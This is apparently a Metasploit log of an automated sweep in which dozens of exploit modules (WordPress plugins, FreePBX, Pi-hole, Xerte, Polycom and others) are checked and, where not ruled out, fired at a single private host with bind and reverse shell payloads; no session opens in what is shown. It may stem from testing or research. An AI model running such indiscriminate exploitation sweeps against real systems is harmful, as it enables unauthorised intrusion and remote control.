[*] Checking multi/http/wp_ai_engine_mcp_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_ai_engine_mcp_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_ai_engine_mcp_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_ait_csv_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_ait_csv_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_ait_csv_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_automatic_sqli_to_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_automatic_sqli_to_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target does not appear to be running WordPress", reason="Target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_automatic_sqli_to_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_backup_migration_php_filter against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_backup_migration_php_filter: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_backup_migration_php_filter against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_batch_desync_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_batch_desync_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target is not online or not running WordPress", reason="Target is not online or not running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_batch_desync_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_bricks_builder_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_bricks_builder_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. WordPress does not appear to be online.", reason="WordPress does not appear to be online.", details={}, vuln={}>
[*] Exploiting multi/http/wp_bricks_builder_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_catch_themes_demo_import against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_catch_themes_demo_import: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Wordpress not detected.", reason="Wordpress not detected.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_catch_themes_demo_import
[*] Checking multi/http/wp_crop_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/wp_crop_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_db_backup_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_db_backup_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_db_backup_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/wp_dnd_mul_file_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_dnd_mul_file_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting multi/http/wp_dnd_mul_file_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_file_manager_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_file_manager_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_file_manager_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_givewp_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_givewp_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The target does not appear to be running WordPress", reason="The target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_givewp_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/wp_hash_form_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_hash_form_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. WordPress does not appear to be online.", reason="WordPress does not appear to be online.", details={}, vuln={}>
[*] Exploiting multi/http/wp_hash_form_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_king_addons_privilege_escalation against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_king_addons_privilege_escalation: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target does not appear to be running WordPress", reason="Target does not appear to be running WordPress", details={}, vuln={}>
[*] Exploiting multi/http/wp_king_addons_privilege_escalation against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_litespeed_cookie_theft against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_litespeed_cookie_theft: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. This doesn't appear to be a WordPress site: Msf::Modules::Exploit__Multi__Http__Wp_litespeed_cookie_theft::MetasploitModule::WordPressNotOnline, Msf::Modules::Exploit__Multi__Http__Wp_litespeed_cookie_theft::MetasploitModule::WordPressNotOnline", reason="This doesn't appear to be a WordPress site: Msf::Modules::Exploit__Multi__Http__Wp_litespeed_cookie_theft::MetasploitModule::WordPressNotOnline, Msf::Modules::Exploit__Multi__Http__Wp_litespeed_cookie_theft::MetasploitModule::WordPressNotOnline", details={}, vuln={}>
[*] Exploiting multi/http/wp_litespeed_cookie_theft against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_ninja_forms_unauthenticated_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: FORM_PATH.
[*] Exploiting multi/http/wp_ninja_forms_unauthenticated_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_plugin_backup_guard_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_backup_guard_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Server not online or not detected as wordpress", reason="Server not online or not detected as wordpress", details={}, vuln={}>
[*] Exploiting multi/http/wp_plugin_backup_guard_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_plugin_elementor_auth_upload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_elementor_auth_upload_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server not online or not detected as Wordpress", reason="Server not online or not detected as Wordpress", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_plugin_elementor_auth_upload_rce
[*] Checking multi/http/wp_plugin_fma_shortcode_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_fma_shortcode_unauth_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server not online or not detected as WordPress.", reason="Server not online or not detected as WordPress.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_plugin_fma_shortcode_unauth_rce
[*] Checking multi/http/wp_plugin_modern_events_calendar_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_modern_events_calendar_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server not online or not detected as Wordpress", reason="Server not online or not detected as Wordpress", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_plugin_modern_events_calendar_rce
[*] Checking multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891 against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_plugin_sp_project_document_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_sp_project_document_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Server not online or not detected as wordpress", reason="Server not online or not detected as wordpress", details={}, vuln={}>
[*] Exploiting multi/http/wp_plugin_sp_project_document_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_plugin_story_chef_file_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_plugin_story_chef_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. WordPress not detected", reason="WordPress not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_plugin_story_chef_file_upload
[*] Checking multi/http/wp_plugin_supsystic_contact_form_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: TARGETURI.
[*] Exploiting multi/http/wp_plugin_supsystic_contact_form_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/wp_popular_posts_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: SRVPORT.
[*] Exploiting multi/http/wp_popular_posts_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_reallysimplessl_2fa_bypass_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_reallysimplessl_2fa_bypass_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The WordPress site does not appear to be online.", reason="The WordPress site does not appear to be online.", details={}, vuln={}>
[*] Exploiting multi/http/wp_reallysimplessl_2fa_bypass_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_responsive_thumbnail_slider_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_responsive_thumbnail_slider_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target version is not vulnerable", reason="The target version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/wp_responsive_thumbnail_slider_upload
[*] Checking multi/http/wp_simple_file_list_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_simple_file_list_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not connect to the target", reason="Could not connect to the target", details={}, vuln={}>
[*] Exploiting multi/http/wp_simple_file_list_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_suretriggers_auth_bypass against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_suretriggers_auth_bypass: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target not responding", reason="Target not responding", details={}, vuln={}>
[*] Exploiting multi/http/wp_suretriggers_auth_bypass against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_tatsu_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_tatsu_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target not responding", reason="Target not responding", details={}, vuln={}>
[*] Exploiting multi/http/wp_tatsu_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_time_capsule_file_upload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_time_capsule_file_upload_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. The WordPress site does not appear to be online.", reason="The WordPress site does not appear to be online.", details={}, vuln={}>
[*] Exploiting multi/http/wp_time_capsule_file_upload_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/wp_user_registration_membership_escalation against host 192.168.0.1:80 ...
[*] Check code for multi/http/wp_user_registration_membership_escalation: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target not responding", reason="Target not responding", details={}, vuln={}>
[*] Exploiting multi/http/wp_user_registration_membership_escalation against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/x7chat2_php_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/x7chat2_php_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not verify PHP code execution on the target", reason="Could not verify PHP code execution on the target", details={}, vuln={}>
[*] Exploiting multi/http/x7chat2_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/xerte_authenticated_rce_uploadimage against host 192.168.0.1:80 ...
[*] Check code for multi/http/xerte_authenticated_rce_uploadimage: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/xerte_authenticated_rce_uploadimage
[*] Checking multi/http/xerte_unauthenticated_importlanguage against host 192.168.0.1:80 ...
[*] Check code for multi/http/xerte_unauthenticated_importlanguage: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/xerte_unauthenticated_importlanguage
[*] Checking multi/http/xerte_unauthenticated_mediaupload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: TARGETURI.
[*] Exploiting multi/http/xerte_unauthenticated_mediaupload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/xerte_unauthenticated_template_import_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/xerte_unauthenticated_template_import_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/xerte_unauthenticated_template_import_rce
[*] Checking multi/http/xwiki_unauth_rce_cve_2025_24893 against host 192.168.0.1:80 ...
[*] Check code for multi/http/xwiki_unauth_rce_cve_2025_24893: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No response from target", reason="No response from target", details={}, vuln={}>
[*] Exploiting multi/http/xwiki_unauth_rce_cve_2025_24893 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/zabbix_script_exec against host 192.168.0.1:80 ...
[*] Exploiting multi/http/zabbix_script_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/zemra_panel_rce against host 192.168.0.1:80 ...
[*] Exploiting multi/http/zemra_panel_rce against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/zpanel_information_disclosure_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/zpanel_information_disclosure_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/php/ignition_laravel_debug_rce against host 192.168.0.1:80 ...
[*] Check code for multi/php/ignition_laravel_debug_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be running Laravel with Ignition", reason="Target does not appear to be running Laravel with Ignition", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/php/ignition_laravel_debug_rce
[*] Checking multi/php/php_unserialize_zval_cookie against host 192.168.0.1:80 ...
[*] Exploiting multi/php/php_unserialize_zval_cookie against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/php/wp_duplicator_code_inject against host 192.168.0.1:80 ...
[*] Check code for multi/php/wp_duplicator_code_inject: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Server responded with 404", reason="Server responded with 404", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/php/wp_duplicator_code_inject
[*] Checking multi/realserver/describe against host 192.168.0.1:80 ...
[*] Check code for multi/realserver/describe: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. RealServer RTSP service not detected", reason="RealServer RTSP service not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/realserver/describe
[*] Checking multi/wyse/hagent_untrusted_hsdata against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/wyse/hagent_untrusted_hsdata against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/ftp/proftpd_modcopy_exec against host 192.168.0.1:80 ...
[*] Exploiting unix/ftp/proftpd_modcopy_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/http/cacti_filter_sqli_rce against host 192.168.0.1:80 ...
[*] Check code for unix/http/cacti_filter_sqli_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. 192.168.0.1:80 - Check URI Path, unexpected HTTP response code: 404", reason="192.168.0.1:80 - Check URI Path, unexpected HTTP response code: 404", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/cacti_filter_sqli_rce
[*] Checking unix/http/contentkeeperweb_mimencode against host 192.168.0.1:80 ...
[*] Check code for unix/http/contentkeeperweb_mimencode: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. ContentKeeper mimencode CGI not detected", reason="ContentKeeper mimencode CGI not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/contentkeeperweb_mimencode
[*] Checking unix/http/ctek_skyrouter against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/http/ctek_skyrouter against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/http/dell_kace_k1000_upload against host 192.168.0.1:80 ...
[*] Check code for unix/http/dell_kace_k1000_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be Dell KACE K1000", reason="Target does not appear to be Dell KACE K1000", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/dell_kace_k1000_upload
[*] Checking unix/http/dolibarr_cms_rce_cve_2023_30253 against host 192.168.0.1:80 ...
[*] Check code for unix/http/dolibarr_cms_rce_cve_2023_30253: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be running Dolibarr", reason="Target does not appear to be running Dolibarr", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/dolibarr_cms_rce_cve_2023_30253
[*] Checking unix/http/epmp1000_get_chart_cmd_shell against host 192.168.0.1:80 ...
[*] Check code for unix/http/epmp1000_get_chart_cmd_shell: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a vulnerable ePMP1000 version", reason="Target is not a vulnerable ePMP1000 version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/epmp1000_get_chart_cmd_shell
[*] Checking unix/http/epmp1000_ping_cmd_shell against host 192.168.0.1:80 ...
[*] Check code for unix/http/epmp1000_ping_cmd_shell: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a vulnerable ePMP1000 version", reason="Target is not a vulnerable ePMP1000 version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/epmp1000_ping_cmd_shell
[*] Checking unix/http/freepbx_callmenum against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/http/freepbx_callmenum against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/freepbx_custom_extension_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME.
[*] Exploiting unix/http/freepbx_custom_extension_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/freepbx_filestore_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for unix/http/freepbx_filestore_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Not FreePBX", reason="Not FreePBX", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/freepbx_filestore_cmd_injection
[*] Checking unix/http/freepbx_firmware_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME.
[*] Exploiting unix/http/freepbx_firmware_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/http/freepbx_unauth_sqli_to_rce against host 192.168.0.1:80 ...
[*] Check code for unix/http/freepbx_unauth_sqli_to_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. No SQL injection detected, target is patched", reason="No SQL injection detected, target is patched", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/freepbx_unauth_sqli_to_rce
[*] Checking unix/http/laravel_token_unserialize_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/laravel_token_unserialize_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Target does not appear to be a Laravel application", reason="Target does not appear to be a Laravel application", details={}, vuln={}>
[*] Exploiting unix/http/laravel_token_unserialize_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/lifesize_room against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/http/lifesize_room against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/http/pihole_blocklist_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/pihole_blocklist_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine Pi-hole version", reason="Could not determine Pi-hole version", details={}, vuln={}>
[*] Exploiting unix/http/pihole_blocklist_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/http/pihole_dhcp_mac_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/pihole_dhcp_mac_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine Pi-hole web interface version", reason="Could not determine Pi-hole web interface version", details={}, vuln={}>
[*] Exploiting unix/http/pihole_dhcp_mac_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/pihole_whitelist_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/pihole_whitelist_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine Pi-hole web interface version", reason="Could not determine Pi-hole web interface version", details={}, vuln={}>
[*] Exploiting unix/http/pihole_whitelist_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/quest_kace_systems_management_rce against host 192.168.0.1:80 ...
[*] Check code for unix/http/quest_kace_systems_management_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a Quest KACE appliance", reason="Target is not a Quest KACE appliance", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/quest_kace_systems_management_rce
[*] Checking unix/http/raspap_rce against host 192.168.0.1:80 ...
[*] Check code for unix/http/raspap_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. RaspAP OpenVPN config deletion endpoint is not accessible", reason="RaspAP OpenVPN config deletion endpoint is not accessible", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/raspap_rce
[*] Checking unix/http/twiki_debug_plugins against host 192.168.0.1:80 ...
[*] Check code for unix/http/twiki_debug_plugins: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine if TWiki debug plugins are exploitable", reason="Could not determine if TWiki debug plugins are exploitable", details={}, vuln={}>
[*] Exploiting unix/http/twiki_debug_plugins against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/http/vmturbo_vmtadmin_exec_noauth against host 192.168.0.1:80 ...
[*] Check code for unix/http/vmturbo_vmtadmin_exec_noauth: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected response from vmtadmin.cgi", reason="Unexpected response from vmtadmin.cgi", details={}, vuln={}>
[*] Exploiting unix/http/vmturbo_vmtadmin_exec_noauth against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/http/xdebug_unauth_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/xdebug_unauth_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Xdebug header not found in response", reason="Xdebug header not found in response", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/xdebug_unauth_exec
[*] Checking unix/http/zivif_ipcheck_exec against host 192.168.0.1:80 ...
[*] Check code for unix/http/zivif_ipcheck_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Zivif iptest.cgi not found", reason="Zivif iptest.cgi not found", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/http/zivif_ipcheck_exec
[*] Checking unix/misc/polycom_hdx_auth_bypass against host 192.168.0.1:23 ...
[*] Check code for unix/misc/polycom_hdx_auth_bypass: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be a Polycom HDX device", reason="Target does not appear to be a Polycom HDX device", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/misc/polycom_hdx_auth_bypass
[*] Checking unix/misc/polycom_hdx_traceroute_exec against host 192.168.0.1:23 ...
[*] Check code for unix/misc/polycom_hdx_traceroute_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine if target is a Polycom HDX device", reason="Could not determine if target is a Polycom HDX device", details={}, vuln={}>
[*] Exploiting unix/misc/polycom_hdx_traceroute_exec against host 192.168.0.1:23 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/sonicwall/sonicwall_xmlrpc_rce against host 192.168.0.1:80 ...
[*] Check code for unix/sonicwall/sonicwall_xmlrpc_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. SonicWall XMLRPC endpoint not detected", reason="SonicWall XMLRPC endpoint not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/sonicwall/sonicwall_xmlrpc_rce
[*] Checking unix/webapp/actualanalyzer_ant_cookie_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/actualanalyzer_ant_cookie_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/actualanalyzer_ant_cookie_exec
[*] Checking unix/webapp/arkeia_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/arkeia_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/arkeia_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/awstats_configdir_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/awstats_configdir_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/awstats_configdir_exec
[*] Checking unix/webapp/awstats_migrate_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/awstats_migrate_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/awstats_migrate_exec
[*] Checking unix/webapp/awstatstotals_multisort against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/awstatstotals_multisort: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/awstatstotals_multisort
[*] Checking unix/webapp/barracuda_img_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/barracuda_img_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/barracuda_img_exec
[*] Checking unix/webapp/base_qry_common against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/base_qry_common against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/basilic_diff_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/basilic_diff_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/basilic_diff_exec
